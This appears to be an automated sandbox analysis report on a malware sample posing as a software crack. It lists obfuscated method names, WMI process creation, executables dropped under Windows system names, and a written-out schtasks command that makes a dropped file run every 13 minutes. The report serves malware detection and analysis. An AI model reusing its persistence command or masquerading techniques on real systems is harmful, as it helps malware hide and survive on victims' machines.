Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, PecDwktA7vOoh6WQMn.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'wj4JxhWcMWqShjstZHB', 't7kKRcWZL4aUuBSrDys', 'b4pUKIW7ClRtfekBUX0', 'NOpN5AW0JZEhovPDPBs', 'CgDW0XWd9IgC5sEnAkF', 'Cq89jaWGX9nFRj1bh0O'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, bsYIHC9VlusmyTqEt1o.cs	High entropy of concatenated method names: 'uP1l0EWHi8', 'qftlysWbuM', 'QCJlQXAjfeanMEkJVZw', 'xkA28hAlXebVS74YGy8', 'MBxuQrAAFIKPhlEsvTc', 'QMFo23AmJkZo7AmdLop', 'hW5MUDAFJTBuRUbsOAf', 'pSiwjKAh8mVSu9pAOsW', 'xqpF2sAc5BqGXPMxsyR', 'r2GkdZAZRGr3dBjgQQv'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, AtZO7HD7LggNi3T57O.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'I79TkhgkLC9n50XsP2E', 'aWvLOggfITFSVoBb3uR', 'KjhJPOgzNOve4fCI8DV', 'cJIABoNx6BaFeT8GWiR', 'l6fMNFNrpBdU7WXOTC1', 'hI7weRNgT21L48Nq16g'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Of3qevGHECnn50JMJo.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'fnqmV9UA72hIKKSsHTY', 'wG4fwDUjGEq8qyNatGl', 'cPRyB5UmwMjQZiSlayG', 'pB3n8HUFQYviSntviLg', 'V9vhPeUhqHKc4Lm7Im1', 'KGieKLUcbMXnH5HHVVS'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, gg2GRPlxt5O8H9qFbHW.cs	High entropy of concatenated method names: 'O7gKS2GRPt', 'VHfqNb7kcZJI05PbLai', 'd3NqM37fylmvgZBhcZ6', 'YDVUiV7Xj83unNsQoBL', 'fcknvx7tPe0u9S6gxPl', 'LD5WJC7zsgBhiq0tvTx', 'wMumZZ0xrxugPqS4Py9', 'JUy0Zv0rj7XRLmLT83p', 'eZS9eS0gSQD5Bixxc6C', 'WRmjrr0NoX9CwUNGRIo'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, uWJtAR9o9PjlxWL4lFK.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'dEOkqMyO2PNCOH7Ho5L', 'OjnainyR8Fjwc2dQ8Wo', 'YU4tYKy30h63Qlvtdhv', 'hN0CNRyX4IG1hbo8eOn', 'PQVIb2ytRLWTYdS36gq', 'xZaelDyk1pPH41YXo1k'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, VInybP7k0ixBkseEAD1.cs	High entropy of concatenated method names: 'Tfj8NKmpOh', 'bSx8k7QxNU', 'oyt8d14TZb', 'kce8OSFEOx', 'S0I8a1Ro3k', 'CIT8q6x0v4', 'N3Q8SeFqo9', 'UvA85rNyMc', 'llC881TTGG', 'NGm81vY57R'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Jmiyo69tB8oRYqcLHMT.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'TpOS1pAb8ng9tqBEV49', 'TitlTMA4mjbVMucuZRS', 'AdFQaHAnZcdyqa7s0uV', 'PgJPTtAQCBrLKibKFOF', 'XMLH74AP9glh1SZ2mcK', 'SlZ9D6ALo0ii6xUKoew'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, CoVvi9lYLyxTnXKOuL2.cs	High entropy of concatenated method names: 'Tns7kpWlxG', 'lewTyxdIr3OkTTobvQQ', 'zIUEKudDT9dCVKMfOLq', 'dJoCNUdVLyS8JYrHOoc', 'nGt0OkdMNGE7pYjnp04', 'XgtAsodOAIGX1PFS6t3', 'NeN7FjSBUH', 'mAL7PaG99L', 'NO57ULQC3Y', 'jt77mG3Qjb'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, SRPF5B3uChleNW0KYcq.cs	High entropy of concatenated method names: 'InMZ4KTU5ZoafkUaiAK', 'trVXL4TWs8trW261SpJ', 'SCxCS8TgZjO3E2Y5Bii', 'yqf7PLTNL22pB87Op9L', 'kDjOxAxSiJ', 'WM4', '_499', 'wY0OD48yL3', 'lEqOBAmhcV', 'LkROEBI8ff'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, qerjpp94FVH9SYQEuJe.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'FdZoIBA8OoLwYY3W5wE', 'pUrkuqAw2Nt5rc6fFjf', 'rOJBvDA51ffNxxQMoL0', 'jXCny1AKuHSatEDppjr', 'aHUdrFA14kjfP4uEQnL', 'MMSS2JAvnxhZKH7MRT6'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, RWBK019CF7nUcsTZE0b.cs	High entropy of concatenated method names: 'gt5l93NGes', 'KALllYadky', 'nLTlRmROYB', 'ypMkn2lMBfeVM6kSdvU', 'yjbd3IlOtB7JkanJqJs', 'z4KRunlVrRX7QFmEOw1', 'uxLiWwlIWbAcMtlu8cC', 'mpW34ylRUVR1Oo0ZuQ8', 'qmCroJl3LHM8X7ivlQZ', 'aNjthVlX8PAqnFR2ZsC'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files with benign system names

Source: C:\comcontainer\SurrogateRef.exe

File created: C:\Recovery\csrss.exe

Jump to dropped file

Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\comcontainer\SwpTnCnrsAAKjgTAQ.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\SwpTnCnrsAAKjgTAQ.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Recovery\SwpTnCnrsAAKjgTAQ.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Windows\CbsTemp\RuntimeBroker.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Recovery\WmiPrvSE.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Recovery\csrss.exe	Jump to dropped file
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	File created: C:\comcontainer\SurrogateRef.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Program Files (x86)\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Program Files (x86)\Reference Assemblies\SwpTnCnrsAAKjgTAQ.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\comcontainer\cmd.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Program Files (x86)\Windows Mail\SurrogateRef.exe	Jump to dropped file
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Program Files\Windows NT\Idle.exe	Jump to dropped file

Source: C:\comcontainer\SurrogateRef.exe

File created: C:\Windows\CbsTemp\RuntimeBroker.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\comcontainer\SurrogateRef.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /f

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
